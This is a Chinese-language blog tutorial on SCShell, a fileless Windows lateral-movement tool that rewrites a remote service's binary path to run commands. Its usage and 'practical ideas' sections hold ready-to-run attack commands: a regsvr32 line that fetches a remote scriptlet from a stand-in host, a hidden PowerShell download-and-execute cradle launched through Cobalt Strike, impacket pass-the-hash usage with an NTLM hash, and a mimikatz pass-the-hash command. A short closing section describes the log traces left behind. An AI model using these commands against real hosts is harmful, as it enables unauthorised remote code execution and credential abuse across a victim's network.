1.简单介绍
SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称)。支持py和exe两种文件类型。

该实用程序可以在不注册服务或创建服务的情况下远程使用。它也不必在远程系统上删除任何文件*(取决于用于执行的技术)

一切都通过DCERPC执行。执行完成后,服务二进制路径将还原为原始路径

2.技术细节
首先,它创建身份验证,这个工具是使用LogonUserA API和ImpersonateLoggedOnUserA实现的。

55713-0q1xtk6asmc.png

一旦进程获取了正确的身份验证,即可使用OpenSCManagerA远程打开目标主机上Service Manager

59759-0hw8aaeoloti.png

使用OpenServiceA API打开远程服务并抛出错误

17351-vbotab4yayd.png

往下看是通过调用ChangeServiceConfigA API可以实现代码执行的效果。

13979-snvp3rkurhn.png

通过查看微软文档我们可以知道API的第五个参数是用于启动服务的二进制路径

BOOL ChangeServiceConfig(
 SC_HANDLE hService      // 打开服务时返回的句柄
 DWORD dwServiceType,    // 服务的类型
 DWORD dwStartType,      // 何时启动服务
 DWORD dwErrorControl, // 错误控制代码
 LPCTSTR lpBinaryPathName, // 服务的路径
 LPCTSTR lpLoadOrderGroup, // 服务所属的组
 LPDWORD lpdwTagId,      // 服务的标记
 LPCTSTR lpDependencies,     // 依赖的其它服务和组
 LPCTSTR lpServiceStartName,// 服务的启动用户
 LPCTSTR lpPassword,     //服务启动用户的密码
 LPCTSTR lpDisplayName       // 服务的显示名
);

所以作者在第5个参数设置了个payload值,也就是给我们输入的值。这个路径的是绝对路径,这里不多说,可以参考微软的文档。

20148-74qireykx4w.png

那么上面的代码就是调用ChangeServiceConfigA来将二进制路径名设置为我们提供的有效负载(就是执行我们的lpBinaryPathName中的值,)
可利用点就是在这个位置,原理不难理解,就是ChangeServiceConfigA API中的lpBinaryPathName的值可控。
例如调用powershell来远程加载木马或执行命令等等。
最后就是通过StartServiceA启动服务。

94275-52l9v78nc1y.png

3.利用手法
作者给出的利用工具有包含exe,py和一个c语言的源码,其中exe和py能实现的功能并不一样。其实我个人觉得exe和py并不是很好用,所以powershell进行远程加载利用的话,我们就不用上传一个exe上去。后面花点时间写出来吧。

  1. Windows 使用
    Scshell需要以下参数:目标,服务,有效负载,用户名,账号,密码:
SCShell.exe 192.168.197.131XblAuthManager"C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll". administrastor Password
# XblAuthManager 是 Xbox Accessory Management Service的服务名

例子:
我们使用这种手法来在目标主机中写入一个txt来证明可以利用
在win中

scshell.exe 192.168.2.133 defragsvc "C:\windows\system32\cmd.exe /c echo 'this is a test' > c:\1.txt" . administrator qwer123456.

69426-1ysp15sdl5mj.png

在目标机器中我们可以看到写入一个txt

72180-10nvvwvf1f0e.png

在cobalt Strike中

shell c:\scshell.exe 192.168.2.133 defragsvc "C:\windows\system32\cmd.exe /c echo 'this is a test' > c:\2.txt" . administrator qwer123456.

07398-tjstz70l4cs.png

92245-goo41g56yuh.png

  1. Linux 安装使用(使用py脚本可以使用散列传递来执行相同的横向移动。)

    1.pip install impacket
    2.git clone https://github.com/Mr-Un1k0d3r/SCShell
    3.cd https://github.com/Mr-Un1k0d3r/SCShell
    4.python scshell.py ./administrator:cxzcxz@192.168.52.133# 执行cmd模式,没有命令回显
    5.python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce # hash验证
    

注意:无论是使用exe还是py脚本都是没有回显的。

3.可以使用该C程序传递哈希值。
有时情况下,将使用当前进程令牌。您可以使用标准传递哈希方法设置当前流程令牌。
在本地系统上

sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe

然后在新创建的cmd.exe中运行SCShell.exe进行横向。
上面我们使用的是defragsvc,其实我们还可以使用XblAuthManager,msbuild等等

4.实战思路
这个不用多说了吧,简单就是远程调用powershell远程加载ps1上线,或执行一些命令。

shell c:\scshell.exe 192.168.2.133 defragsvc "C:\windows\system32\cmd.exe /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://ip:端口/a')" . administrator qwer123456.

然后还有就是exe的话需要我们有目标主机的明文密码,但是,明文密码不好拿到,所以还是使用py脚本来传输hash进行横向好,当然后面我也会写一个powershell的出来。

5.日志痕迹
使用用户凭证连接会在目标日志系统留下用户名、来访机器IP和服务超时等信息

25817-vdkjyd0787m.png

65267-t6t1guzeul.png


本文由 wulaoban 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论